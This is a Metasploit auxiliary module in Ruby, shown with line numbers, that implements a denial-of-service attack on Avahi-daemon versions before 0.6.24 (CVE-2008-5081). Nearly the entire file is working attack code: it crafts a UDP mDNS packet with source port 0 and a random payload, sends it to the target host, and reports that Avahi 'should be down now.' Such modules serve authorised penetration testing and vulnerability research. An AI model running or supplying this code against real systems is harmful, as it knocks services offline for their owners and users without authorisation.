Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Auxiliary
7
  include Msf::Exploit::Capture
8
  include Msf::Auxiliary::Dos
9

10
  def initialize
11
    super(
12
      'Name'        => 'Avahi Source Port 0 DoS',
13
      'Description' => %q{
14
        Avahi-daemon versions prior to 0.6.24 can be DoS'd
15
        with an mDNS packet with a source port of 0.
16
      },
17
      'Author'      => 'kris katterjohn',
18
      'License'     => MSF_LICENSE,
19
      'References'  => [
20
        [ 'CVE', '2008-5081' ],
21
        [ 'OSVDB', '50929' ],
22
      ],
23
      'DisclosureDate' => 'Nov 14 2008')
24

25
    register_options([
26
      OptInt.new('RPORT', [true, 'The destination port', 5353])
27
    ])
28

29
    deregister_options('FILTER','PCAPFILE')
30
  end
31

32
  def run
33
    open_pcap
34

35
    print_status("Sending to #{rhost}")
36

37
    p = PacketFu::UDPPacket.new
38
    p.ip_saddr = "0.0.0.0"
39
    p.ip_daddr = rhost
40
    p.ip_frag = 0x4000 # Original had ip frag flags set to 2 for some reason.
41
    p.udp_sport = 0 # That's the bug
42
    p.udp_dport = datastore['RPORT'].to_i
43
    p.payload = Rex::Text.rand_text(rand(0x20)) # UDP needs at least one data byte, may as well send a few.
44
    p.recalc
45
    capture_sendto(p, rhost) and print_status("Avahi should be down now")
46
    close_pcap
47
  end
48
end
49

50